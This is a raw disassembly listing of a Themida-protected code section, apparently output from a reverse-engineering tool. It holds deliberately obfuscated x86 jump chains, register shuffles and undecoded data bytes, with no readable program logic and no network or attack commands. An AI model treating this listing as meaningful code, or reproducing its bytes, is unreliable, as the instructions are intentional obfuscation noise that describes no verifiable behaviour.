Themida_:00556A89j add dword ptr [esp], 4 pop eax push 64Bh mov [esp], ebx push 561D75C9h mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp shr ebx, 3 jmp loc_552B03 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 0B2E90424h, 550000F1h, 8B148D68h, 0DDF75D34h, 0EB6FB850h dd 0C529CB74h, 0C341E9h, 0BE46800h, 0A9E97D20h, 5800013Fh dd 0DA7CE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542372: ; CODE XREF: Themida_:00555588j push ebx push eax mov eax, 18F43033h mov ebx, eax pop eax jmp loc_5548A6 ; --------------------------------------------------------------------------- loc_542381: ; CODE XREF: Themida_:0054C21Cj mov ebx, 20h push ecx mov ecx, 0C4A0B31h sub ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 32691717h jmp loc_549FCD ; --------------------------------------------------------------------------- loc_5423A2: ; CODE XREF: Themida_:0054B56Aj pop esp jmp loc_555077 ; --------------------------------------------------------------------------- loc_5423A8: ; CODE XREF: Themida_:0054EED3j push ebx jmp loc_5544B0 ; --------------------------------------------------------------------------- dw 0EC83h dd 1D9E904h, 81580001h, 0DB3637C2h, 0E9D60936h, 3546h dd 76E9815Fh, 16EC11Bh, 86D7E9E9h, 29580000h, 0BF575FFEh dd 110507A8h, 875FFE21h, 0E9D7F7FEh, 7A88h, 4C4815Eh, 89000000h dd 2434FFFBh, 81243C8Bh, 4C4h, 4C48100h, 29000000h, 2434FFD8h dd 5B2434FFh, 8104C483h, 4C4h, 0E7895700h, 4C781h, 0BE90000h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542423: ; CODE XREF: Themida_:00541FA1j mov edx, esp add edx, 4 jmp loc_54FA4E ; --------------------------------------------------------------------------- loc_542430: ; CODE XREF: Themida_:00555A36j xor eax, 0F8D0D80h jmp loc_549FF1 ; --------------------------------------------------------------------------- aSiqsji db 'Sˆï馉',0 align 2 loc_542442: ; CODE XREF: Themida_:0054EBEEj pop ebp push esi jmp loc_541E24 ; --------------------------------------------------------------------------- db 5Ah, 29h, 0CAh dd 81EA0159h, 0F85FD2C2h, 14875D16h, 56535C24h, 7A3B2EBEh dd 17C68106h, 0F72EF462h, 74C681D6h, 0E9215973h, 9B2Eh ; --------------------------------------------------------------------------- loc_542474: ; CODE XREF: Themida_:005483EEj push ebx mov ebx, 430B177Ah xchg ecx, ebx jmp loc_54BD4C ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5904h, 24248B24h, 48B5450h, 76696824h, 3C890000h dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 5EE9BB53h, 0DBF76A8Bh dd 6C77BF57h, 0EFD12C47h, 1728BD55h, 0EF318357h, 5FFB315Dh dd 1C8BD801h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 4E8835Ch, 5C240487h, 52243C89h, 0F5502ABAh, 449DE91Fh dd 248B0001h, 4216624h, 24E99C24h, 89FFFFF6h, 4C281E2h dd 0E9000000h, 20D4h ; --------------------------------------------------------------------------- loc_542508: ; CODE XREF: Themida_:0054E088j neg ecx add ecx, 472B36DAh shl ecx, 2 jmp loc_5451FB ; --------------------------------------------------------------------------- dd 0D0E9E189h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54251F: ; CODE XREF: Themida_:00542E40j mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edi jmp loc_54BC51 ; --------------------------------------------------------------------------- aSr5 db '(Óé5',0 db 0 ; --------------------------------------------------------------------------- loc_542539: ; CODE XREF: Themida_:0054F1D5j push eax push ebx push 2BCAh jmp loc_549B09 ; --------------------------------------------------------------------------- db 53h, 54h, 8Bh dd 0C481241Ch, 4, 0EC835550h, 240C8904h, 652356B9h, 81D9F754h dd 6D32C5C1h, 2BF18117h, 0E9888214h, 2F5Ch, 4EC8153h, 89000000h dd 4812424h, 424h, 0C3815B00h, 4, 4EB81h, 0FF530000h, 5B042474h dd 8B24048Fh, 0C892424h, 247D6824h, 0C8B2596h, 4C48324h dd 34FFC831h, 2434FF24h, 83240C8Bh, 0EC8304C4h, 242C8904h dd 0C581E589h, 4, 8704C583h, 1AE9242Ch db 0E4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5425CF: ; CODE XREF: Themida_:0054A1FBj mov ebp, edx mov edx, [esp] add esp, 4 sub edx, ebp pop ebp mov ecx, [edx] mov edx, [esp] jmp loc_544280 ; --------------------------------------------------------------------------- loc_5425E7: ; CODE XREF: Themida_:0054C79Dj mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_5548DD ; --------------------------------------------------------------------------- dw 105h dd 167A477h, 77012DD0h, 65E967A4h, 40000CEh, 2333E9A6h dd 53550001h, 8955B2BBh, 0E9DD8926h, 10DD3h, 0B25A0405h dd 20A90508h, 0BA525A4Bh, 177473E7h, 42AFEA81h, 2D2D0693h dd 110440Fh, 4EC83D0h, 1497E9h, 24048F00h, 2424895Ch, 4B850h dd 44010000h, 89E90424h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542663: ; CODE XREF: Themida_:00545277j add ebx, ebp sub ebx, 47EC7903h pop ebp mov edx, [esp] jmp loc_54ADC8 ; --------------------------------------------------------------------------- dd 2994E955h, 0E8C00001h, 0E9FF0408h, 0F607h, 4C481h, 50E90000h dd 5E00004Eh, 8904EC83h, 7BE9240Ch db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54269B: ; CODE XREF: Themida_:0054F747j sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push 24C7h mov [esp], esi mov esi, esp push edi mov edi, 4 add esi, edi mov edi, [esp] add esp, 4 push eax push edx mov edx, 32B22EEDh mov eax, 32B22EE9h jmp loc_546096 ; --------------------------------------------------------------------------- db 0F7h dd 0A0C381D3h, 31731E96h, 0E89FE9DEh, 3C890000h, 815F5424h dd 4C7h, 4EC8300h, 68241489h, 7BAh, 68240C89h, 7C71h, 23BEE9h dd 4C48100h, 87000000h, 895C240Ch, 0E789243Ch, 0FD53E955h dd 0C4810000h, 4, 0F2C2E9h, 0B62D4800h, 31571C78h, 45BAE9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542732: ; CODE XREF: Themida_:00556282j pop ecx add edi, 4 jmp loc_5503A0 ; --------------------------------------------------------------------------- loc_54273B: ; CODE XREF: Themida_:00543ADFj xor esi, 735D6ED6h add ebp, esi jmp loc_55378B ; --------------------------------------------------------------------------- dd 1BC8C681h, 815B3E0Dh, 2EEh, 3BFB6800h, 34890000h, 4E3DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542762: ; CODE XREF: Themida_:00553040j pop edi sub ecx, 4 jmp loc_5496E8 ; --------------------------------------------------------------------------- dw 0E381h dd 67ED3848h, 8102EBC1h, 894410EBh, 0E9DD8918h, 5DAh ; --------------------------------------------------------------------------- loc_542784: ; CODE XREF: Themida_:0054CA41j pop ebx push ebp mov ebp, esp jmp loc_54A12E ; --------------------------------------------------------------------------- loc_54278D: ; CODE XREF: Themida_:00553FD4j xchg esi, [esp] mov esp, [esp] mov [esp], ebp push esi mov esi, 3A3A3338h mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_541BD5 ; --------------------------------------------------------------------------- loc_5427AC: ; CODE XREF: Themida_:0054AAF8j sub bl, dh add bl, 7Eh pop dx add bl, 67h xor ch, bl mov ebx, [esp] add esp, 4 sub al, ch pop ecx sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], eax push ebx mov bh, 0B6h mov al, 0ABh sub al, bh pop ebx jmp loc_54F864 ; --------------------------------------------------------------------------- dw 0B652h dd 80C6FEE7h, 0B2E9D2C6h, 5D000124h, 592434FFh, 0FF04C483h dd 2C8B2434h, 5F545724h, 4EC81h, 2C890000h, 174B6824h dd 0D15D75A8h, 81E5D1E5h, 1F0CD6CDh, 0A17E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542816: ; CODE XREF: Themida_:00555410j pop ebx jmp loc_550EB2 ; --------------------------------------------------------------------------- dd 7965EE81h, 0D6290102h, 7965C681h, 15A0102h, 38DCE9CEh dd 0E9510000h, 0A231h ; --------------------------------------------------------------------------- loc_542838: ; CODE XREF: Themida_:0054D7F7j pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h db 0C3h byte_54284D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054183Co aSo0 db '$éo0',0 align 2 aUSj db 'U^]éJ',8,0 align 2 dw 0BCE9h dd 55FFFFF2h, 4BDh, 5DE90100h, 5A40E9h db 0 ; --------------------------------------------------------------------------- loc_542871: ; CODE XREF: Themida_:0054CDCFj add esp, 4 xor ebp, edx xor edx, ebp xor ebp, edx xor edi, ebp xor ebp, edi xor edi, ebp xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] mov eax, [esp] jmp loc_555D43 ; --------------------------------------------------------------------------- dd 0EC81E289h, 4, 0B8240489h, 4, 51ECC281h, 0C20162DEh dd 51ECEA81h, 0AEE962DEh, 8700004Fh, 685C241Ch, 7133h dd 10C0BE9h, 58E78800h, 0E9873C88h, 3B00h, 148BD689h, 3091E924h dd 81580001h, 851331CEh, 2EEC12Dh, 0E903E6C1h, 4882h ; --------------------------------------------------------------------------- loc_5428EC: ; CODE XREF: Themida_:0054658Aj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx jmp loc_54BAF1 ; --------------------------------------------------------------------------- db 0BEh, 2 dup(0) dd 0EE290000h, 0C45BE9h, 4C48100h, 51000000h, 4B9h, 8BCE0100h dd 8952240Ch, 4C281E2h, 0E9000000h, 0CABCh, 0B565B050h dd 5B7BE905h, 0C1810000h, 4, 2474FF51h, 240C8B04h, 81E68956h dd 4C6h, 4B95100h, 1000000h, 0E95659CEh, 0E9Eh, 0E908EFC1h dd 740Eh dword_542964 dd 9D1C77FFh, 24041158h, 5D67E99Ch, 0FDB00000h, 0C0EB80h ; DATA XREF: Themida_:00541988o dd 0BC16E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54297E: ; CODE XREF: Themida_:005545DEj add ecx, 4 jmp loc_548CEF ; --------------------------------------------------------------------------- loc_542989: ; CODE XREF: Themida_:00555188j pop ecx jmp loc_55266E ; --------------------------------------------------------------------------- loc_54298F: ; CODE XREF: Themida_:00551285j mov ecx, 1 add esi, ecx pop ecx xor esi, 549C16BFh and eax, esi pop esi push edx mov edx, 1E5A319Eh xor eax, edx pop edx xor eax, 505B2CD1h mov ebp, eax mov eax, [esp] add esp, 4 add ecx, ebp pop ebp push ebx mov ebx, ecx mov edi, ebx pop ebx pop ecx and ecx, edi push dword ptr [esp] jmp loc_55589D ; --------------------------------------------------------------------------- loc_5429CA: ; CODE XREF: Themida_:0054FBF0j push ecx not dword ptr [esp] pop ecx push 4697h mov [esp], ebp push eax mov eax, 0 mov ebp, eax pop eax sub ebp, ecx mov ecx, ebp jmp loc_5530C6 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0BD555B04h, 4, 815DEB01h, 4EBh, 241C8700h, 90DCE9h db 0 ; --------------------------------------------------------------------------- loc_542A05: ; CODE XREF: Themida_:00546A66j sub esi, 3E3C1435h jmp loc_556B22 ; --------------------------------------------------------------------------- loc_542A10: ; CODE XREF: Themida_:00547623j add ecx, edx pop edx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_546A1D ; --------------------------------------------------------------------------- dd 4EE81h, 34870000h, 14895C24h, 3621BA24h, 7E2D7929h dd 296EA900h, 7E05D0h, 21E96EA9h db 0F7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542A4B: ; CODE XREF: Themida_:0054FAEBj mov [esp], ebx push ecx mov ecx, 4A9164C1h and ecx, 7C5361E2h jmp loc_555372 ; --------------------------------------------------------------------------- db 81h dd 78775DF7h, 0CAEF8148h, 0E9E8ACB3h, 44EEh ; --------------------------------------------------------------------------- loc_542A70: ; CODE XREF: Themida_:00550AAFj xor eax, ebx pop ebx sub edi, eax pop eax sub edi, 2C1A31E7h pop esi sub esp, 4 mov [esp], edi jmp loc_54383D ; --------------------------------------------------------------------------- loc_542A88: ; CODE XREF: Themida_:00554AA6j push edi mov edi, 4E240F44h xor edi, 448D49D5h neg edi jmp loc_543DCF ; --------------------------------------------------------------------------- loc_542A9B: ; CODE XREF: Themida_:00542C57j xor ebx, 1AEE2CAFh add ebx, 30F87339h push eax mov eax, 60BA14C4h add eax, 0B32D0E0Ch add esi, eax pop eax jmp loc_548AEB ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 66000000h, 172DE953h, 0EC800001h, 8BE6883Dh dd 0C4812404h, 4, 8B5AF000h, 8952240Ch, 4C281E2h, 83000000h dd 148704C2h, 45685C24h, 0E9000011h, 308Eh, 165BC581h dd 0F5011D53h, 165BED81h, 34FF1D53h, 0C4815E24h, 4, 704E9h db 0 ; --------------------------------------------------------------------------- loc_542B15: ; CODE XREF: Themida_:00553F84j add ebp, 0F4B60182h jmp loc_54FB8F ; --------------------------------------------------------------------------- dd 83242C8Bh, 0C78304C4h, 0E9565201h, 11541h ; --------------------------------------------------------------------------- loc_542B30: ; CODE XREF: Themida_:0054635Bj push edx mov edx, 791668B1h shl edx, 5 sub edx, 0FFFFFFFFh sub edx, 12E1A5C8h mov ebx, edx mov edx, [esp] add esp, 4 xor ecx, ebx pop ebx and ecx, 1132488Fh xor ecx, 15E124BDh or edx, ecx pop ecx shl edx, 5 jmp loc_54AB05 ; --------------------------------------------------------------------------- dd 6CA868h, 24348900h, 8AB1E9h, 4C78100h, 83000000h, 3C8704EFh dd 3C895C24h, 175CBF24h, 0B3E9669Dh, 8900007Dh, 0D29EE9E1h dd 34FF0000h, 2434FF24h, 4C4835Bh, 4C481h, 50530000h, 1AE9EC88h dd 66FFFFFDh, 0E9240489h, 0FFFFEF6Bh, 42474FFh, 24048F5Fh dd 0E5B5E95Ch, 0E9810000h, 26291459h, 0C181C101h, 26291459h dd 5F48C181h, 0FDE92C0Bh db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542BDB: ; CODE XREF: Themida_:0054B297j push eax jmp loc_54677F ; --------------------------------------------------------------------------- loc_542BE1: ; CODE XREF: Themida_:0054F99Cj sub esp, 4 mov [esp], eax mov eax, 62F15B5Dh push edx mov edx, 20E341C4h sub eax, edx mov edx, [esp] jmp loc_5552BF ; --------------------------------------------------------------------------- loc_542BFC: ; CODE XREF: Themida_:0055050Fj add esp, 4 mov ebp, [esp] jmp loc_5443E9 ; --------------------------------------------------------------------------- dw 8158h dd 4C4h, 4EC8300h, 1021CE9h db 0 ; --------------------------------------------------------------------------- loc_542C19: ; CODE XREF: Themida_:0054FA9Ej sub esp, 4 mov [esp], ecx push 268856B9h pop ecx shl ecx, 6 push ebx mov ebx, 9D14FA34h xor ecx, ebx jmp loc_54BB6E ; --------------------------------------------------------------------------- aCbimtaksug db 'CëMâ kéãG',0 db 0 ; --------------------------------------------------------------------------- loc_542C41: ; CODE XREF: Themida_:00555EE5j mov [esp], ebx push esi jmp loc_55389B ; --------------------------------------------------------------------------- dw 0E955h dd 0FB23h ; --------------------------------------------------------------------------- loc_542C50: ; CODE XREF: Themida_:0054B9BBj mov ebx, 6B6D4873h shr ebx, 1 jmp loc_542A9B ; --------------------------------------------------------------------------- loc_542C5C: ; CODE XREF: Themida_:00544900j pop esp sub ebx, 7F07756Dh add ebx, ebp jmp loc_548908 ; --------------------------------------------------------------------------- dw 0EDC1h dd 41DA6803h, 0C890000h, 513AB924h, 0EC83396Ah, 24348904h dd 5835A6BEh, 15EE810Dh, 812E5667h, 192A61CEh, 1EE8348h dd 3EA2F681h, 0C68112DEh, 62995227h, 0AC89B850h, 0C6018636h dd 5EF10158h, 8159CD01h, 0BF428CEAh, 3AA1E927h db 1, 0 ; --------------------------------------------------------------------------- loc_542CBA: ; CODE XREF: Themida_:0054DBB1j pop ecx jmp loc_54A2E3 ; --------------------------------------------------------------------------- dd 0E9243C31h, 11E34h, 7E1A79BBh, 8DB95141h, 4141BF3Ch dd 5C6E981h, 0CB31EA95h, 5711E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542CE2: ; CODE XREF: Themida_:0055331Bj mov ebx, 410524Bh xor ebx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 add [esp+0Ch], ebx pop ebx mov ecx, [esp] add esp, 4 pop esi pop dword ptr [edi+24h] jmp loc_551FFF ; --------------------------------------------------------------------------- db 5Eh dd 275E9h, 46D6F700h, 327AF681h, 0EE814E7Fh, 372CCD7Fh dd 8B5EF001h, 89512434h, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 2404875Ch, 8924248Bh, 24348BF2h, 0E904C483h, 0FFFFEDCFh ; --------------------------------------------------------------------------- loc_542D50: ; CODE XREF: Themida_:005521F5j mov [esp], ebp push esi mov esi, 160D5E58h jmp loc_550D3F ; --------------------------------------------------------------------------- dw 895Bh dd 0CA895DE9h, 81240C8Bh, 4C4h, 57EF8100h, 101275Eh, 0CF9CE9D7h dd 0C3810000h, 4, 65386857h, 4890000h, 9E5CE924h, 0E8BD0000h dd 81704651h, 452881C5h, 0DB5AE90Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_542D9E: ; CODE XREF: Themida_:00552C26j mov ebx, esp add ebx, 4 jmp loc_552CF9 ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 3566E924h db 1, 0 ; --------------------------------------------------------------------------- loc_542DB6: ; CODE XREF: Themida_:0055158Aj push esi jmp loc_555415 ; --------------------------------------------------------------------------- dd 4C481h, 2C330000h, 242C3124h, 8B242C33h, 14892424h dd 0ED49E924h, 489FFFFh, 7329B824h, 29355F45h, 95F4571h dd 48B1C47h, 0E6D4E924h, 35580000h, 49D505Bh, 0F5268F25h dd 6B602548h, 0FC2D1FF5h, 0E9082401h, 0AE0Eh ; --------------------------------------------------------------------------- loc_542E08: ; CODE XREF: Themida_:005569FEj push 2A8Ch mov [esp], edx jmp loc_550630 ; --------------------------------------------------------------------------- loc_542E15: ; CODE XREF: Themida_:0054B0A5j push ebp mov ebp, 43B02F5h sub eax, 259C356Ah add eax, ebp add eax, 259C356Ah pop ebp xor edx, eax pop eax jmp loc_54761D ; --------------------------------------------------------------------------- dd 24148B66h, 2F5BE950h db 1, 0 ; --------------------------------------------------------------------------- loc_542E3A: ; CODE XREF: Themida_:005521EBj pop esp or edx, eax shl edx, 1 push ebp jmp loc_54251F ; --------------------------------------------------------------------------- db 81h, 0EEh, 62h dd 5F05203Bh, 0E95EF389h, 28BAh ; --------------------------------------------------------------------------- loc_542E54: ; CODE XREF: Themida_:0055343Bj pop ebp sub esi, edi pop edi and esi, 40BB0B9Ch push ebx jmp loc_54AF47 ; --------------------------------------------------------------------------- dd 5C241C87h, 0BD242C89h, 278C7C95h, 1FE9BF57h, 60E9010Ah db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542E7B: ; CODE XREF: Themida_:0054B9B5j xor dx, [esp] jmp loc_545009 ; --------------------------------------------------------------------------- dd 0C580C0B5h, 66D5F630h, 28CAB050h, 885866C5h, 0E95259ECh dd 0B55Ch, 5D2434FFh, 4C481h, 0C0050000h, 81F873BEh, 0AC7FD9C3h dd 4EC8309h, 0BE243489h, 7CF75479h, 0B56EE81h, 8EE912A3h dd 81FFFFEEh, 136033EDh, 81FD017Dh, 136033C5h, 835B5F7Dh dd 348904ECh, 4BE24h, 0C5810000h, 17F0701Ch, 0ED81F501h dd 17F0701Ch, 0E924348Bh, 11113h, 11EAE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_542EFE: ; CODE XREF: Themida_:00553F36j mov esi, esp add esi, 4 add esi, 4 jmp loc_555ECB ; --------------------------------------------------------------------------- loc_542F11: ; CODE XREF: Themida_:0054801Dj not esi jmp loc_54B729 ; --------------------------------------------------------------------------- dd 6658C981h, 0D9F705ADh, 500BC181h, 0E9810BAEh, 66D3EAD1h dd 96E9CE29h, 890000F1h, 86B9240Ch, 313B0E18h, 0FF04244Ch dd 83592434h, 2CE904ECh db 1Fh, 1, 0 ; --------------------------------------------------------------------------- loc_542F4B: ; CODE XREF: Themida_:005511F7j mov ecx, ebp mov ebp, [esp] add esp, 4 add [esp+4], ecx pop ecx jmp loc_548FCF ; --------------------------------------------------------------------------- aSA_0 db '[é, ',0 db 0 ; --------------------------------------------------------------------------- loc_542F63: ; CODE XREF: Themida_:005503C2j mov edi, [esp] jmp loc_54EB17 ; --------------------------------------------------------------------------- db 88h dd 59CA88F9h, 8BD3005Bh, 89512414h, 4C181E1h, 83000000h dd 0C8704C1h, 0B746E924h, 0BD550000h, 4, 37DDEE81h, 0EE016756h dd 37DDC681h, 4FE96756h, 0B60000B1h, 75F68054h, 0EEC0CEFEh dd 0B1F68002h, 805AF708h, 0EF8036C7h, 0C7C78033h, 0A8E9FD88h dd 550000BBh, 524FE9h db 0 ; --------------------------------------------------------------------------- loc_542FC9: ; CODE XREF: Themida_:00547341j mov ebx, esi jmp loc_546BED ; --------------------------------------------------------------------------- dword_542FD0 dd 9C241CF7h, 6B17E9h, 4EDC100h, 75C6ED81h, 0CD817967h ; DATA XREF: Themida_:00541954o dd 75EA7163h, 0B0BE5645h, 1212A47h, 1BE95EF5h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_542FF7: ; CODE XREF: Themida_:00543288j xor esi, 11A6800h and eax, esi jmp loc_549AC2 ; --------------------------------------------------------------------------- dd 7A3DC781h, 19E9676Ah db 34h, 1, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54729C ; --------------------------------------------------------------------------- loc_54301D: ; CODE XREF: Themida_:0054BAA8j not eax shl eax, 3 jmp loc_54D54F ; --------------------------------------------------------------------------- db 29h dd 50E95EF0h, 6600005Ch, 0E381665Bh, 4E953AFh db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54303B: ; CODE XREF: Themida_:005466E0j xchg edx, [esp] pop esp mov dword ptr [eax], 0 pop eax xor edx, edx push esi sub esp, 4 mov [esp], esp push 1A1Dh mov [esp], edi sub esp, 4 mov [esp], ebx mov ebx, 27F77814h push edi mov edi, 6362188Fh and ebx, edi pop edi jmp loc_552D49 ; --------------------------------------------------------------------------- loc_543076: ; CODE XREF: Themida_:005491C1j add edx, edi sub esp, 4 mov [esp], ebx mov ebx, 0 add ebx, edx push ecx jmp loc_5441CD ; --------------------------------------------------------------------------- loc_54308B: ; CODE XREF: Themida_:00554DCCj sub esi, ebx pop ebx sub ebx, 54D35FD3h jmp loc_54B0AA ; --------------------------------------------------------------------------- loc_543099: ; CODE XREF: Themida_:00549412j pop eax sub esp, 4 mov [esp], eax jmp loc_55285D ; --------------------------------------------------------------------------- dd 0E95EF301h, 59F5h, 5FFA895Ah, 7437E9h, 0DAF75A00h, 33D0E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5430C2: ; CODE XREF: Themida_:00546680j add esp, 4 jmp loc_546B90 ; --------------------------------------------------------------------------- db 68h, 39h, 6Fh dd 34890000h, 685E5424h, 115h, 83242C89h, 0C8904ECh, 9AB0E924h dd 0C2290000h, 81CA0158h, 0DC504BC2h, 50C2811Ah, 592A1726h dd 4B951h, 0CA290000h, 24148759h, 2B00E95Ch, 81580001h dd 4ECh, 24148900h, 42474FFh, 7F11E9h db 0 ; --------------------------------------------------------------------------- loc_543121: ; CODE XREF: Themida_:00550AE1j sub eax, 60F12B30h sub eax, 50355A74h add eax, 0BDDBED26h add edx, 37375041h jmp loc_54A221 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 1C572100h, 0E92434FFh, 8358h, 83240C8Bh, 0EC8104C4h dd 4, 81241C89h, 4ECh, 24248900h, 4240481h, 8B000000h dd 0A2E9241Ch, 5D0000BBh, 75E9D5F7h, 660000F2h, 0E9CCB60Fh dd 0D5D4h ; --------------------------------------------------------------------------- loc_543184: ; CODE XREF: Themida_:00550C06j add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edi jmp loc_55612A ; --------------------------------------------------------------------------- dd 0CD3396BBh, 2862E94Fh, 34FF0001h, 0C4815B24h, 4, 53C9B951h dd 0D8E92746h, 510000A0h, 0E92414F7h, 0D215h, 0E9EF8958h dd 0FFFFF954h ; --------------------------------------------------------------------------- loc_5431CC: ; CODE XREF: Themida_:005534CBj mov [esp], ebp jmp loc_54F81D ; --------------------------------------------------------------------------- loc_5431D4: ; CODE XREF: Themida_:00542266j mov esp, [esp] sub esp, 4 jmp loc_5456CB ; --------------------------------------------------------------------------- loc_5431E2: ; CODE XREF: Themida_:0054BC8Aj mov ebp, esi pop esi shl ebp, 1 inc ebp jmp loc_54719A ; --------------------------------------------------------------------------- loc_5431ED: ; CODE XREF: Themida_:00553F4Cj mov esp, [esp] push dword ptr [esp] pop edi add esp, 4 jmp loc_554B10 ; --------------------------------------------------------------------------- loc_5431FC: ; CODE XREF: Themida_:005487D3j push eax mov eax, 187A0C3Dh add eax, 41703E34h shr eax, 6 and eax, 5B5524D7h sub eax, 1451FFDh jmp loc_543CC4 ; --------------------------------------------------------------------------- db 50h, 0E9h, 82h db 0FBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54321F: ; CODE XREF: Themida_:0054FA77j sub esp, 4 mov [esp], ebx jmp loc_54F9CD ; --------------------------------------------------------------------------- db 81h, 0C5h, 6 dd 10940A2h, 242C8BEFh, 4C481h, 0C7810000h, 4, 4EC81h dd 3C890000h, 2474FF24h, 0EE95F04h db 0AEh, 2 dup(0) byte_543257 db 66h ; DATA XREF: Themida_:005419A8o dd 83240C8Bh, 148904ECh, 148B5424h, 15E95724h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54326B: ; CODE XREF: Themida_:005512B6j mov ebx, 1AD4753Ch mov edx, 5D7B3B04h xor edx, ebx mov ebx, [esp] jmp loc_54A4D4 ; --------------------------------------------------------------------------- loc_54327F: ; CODE XREF: Themida_:00549CECj add esp, 4 shr esi, 5 shl esi, 8 jmp loc_542FF7 ; --------------------------------------------------------------------------- loc_54328D: ; CODE XREF: Themida_:00549FECj add eax, ecx xor ebx, [eax] pop eax pop ecx xor [edi+20h], ebx dec ebx jmp loc_54AEE2 ; --------------------------------------------------------------------------- dd 3025C280h, 0F8305AD7h, 81241C8Bh, 4ECh, 19D4E900h, 0C3830001h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi jmp loc_545CEF ; --------------------------------------------------------------------------- aLVics db '‹<$V‰æéÄ·',0 db 0 ; --------------------------------------------------------------------------- loc_5432CF: ; CODE XREF: Themida_:0054AC47j push edx mov dl, 49h sub dl, 4Ch inc dl and dl, 0D4h not dl add dl, 0B4h jmp loc_546453 ; --------------------------------------------------------------------------- dd 0E9240C33h, 3200h, 3B62C681h, 0E6E90520h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5432F7: ; CODE XREF: Themida_:00555618j xchg eax, [esp] jmp loc_54C62A ; --------------------------------------------------------------------------- loc_5432FF: ; CODE XREF: Themida_:005502C7j mov dl, 62h add ch, dl pop edx sub al, ch pop ecx add al, 0BFh jmp loc_54407D ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFEAFAh, 0F6DDE957h, 0B680000h, 89000026h, 0E389241Ch dd 0B644E9h, 0EA815D00h, 36597093h, 11E9C201h db 96h, 2 dup(0) byte_543337 db 66h ; DATA XREF: Themida_:00541984o dd 6824048Bh, 0ECFh, 68243489h, 1F98h, 52242489h, 806CE9h db 0 ; --------------------------------------------------------------------------- loc_543351: ; CODE XREF: Themida_:00554E49j push ebp mov ebp, 70F9303Ch add edi, ebp jmp loc_54FB03 ; --------------------------------------------------------------------------- loc_54335E: ; CODE XREF: Themida_:005520B1j add edx, 4D9E106Fh add edx, 0B472F81Ch add eax, edx pop edx pop edx add ebp, eax pop eax and eax, ebp mov ebp, [esp] add esp, 4 shr eax, 10h xor eax, ecx push eax push ebx pop eax push dword ptr [esp] push dword ptr [esp] jmp loc_5500A1 ; --------------------------------------------------------------------------- loc_54338F: ; CODE XREF: Themida_:0054EFB3j push ecx push edx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 100A6229h sub edi, 689C47AEh push ecx mov ecx, 3CD53E88h or edi, ecx pop ecx shr edi, 7 push ebx mov ebx, 1FD84823h and edi, ebx pop ebx push eax mov eax, 0AA51E100h sub edi, eax pop eax mov ecx, edi jmp loc_5470EE ; --------------------------------------------------------------------------- dd 5E5AD589h, 685DE801h, 4FCCh, 0BE243489h, 2B496EBBh dd 9147C681h, 0F001D4B6h, 5324348Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 4335C24h, 3C6DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54340A: ; CODE XREF: Themida_:00555E19j mov cl, 0CAh sub dh, cl pop cx sub al, 0B2h sub al, dh add al, 0B2h pop edx add al, 1Bh add al, 5Bh add al, bl sub al, 5Bh sub al, 1Bh jmp loc_54F517 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 148BD689h dd 368DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543446: ; CODE XREF: Themida_:00554670j xor dword ptr [esp], 2D512231h jmp loc_54FDD5 ; --------------------------------------------------------------------------- word_543452 dw 77FFh ; DATA XREF: Themida_:005419F8o dd 59669D1Ch, 2414D366h, 0E6BDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543462: 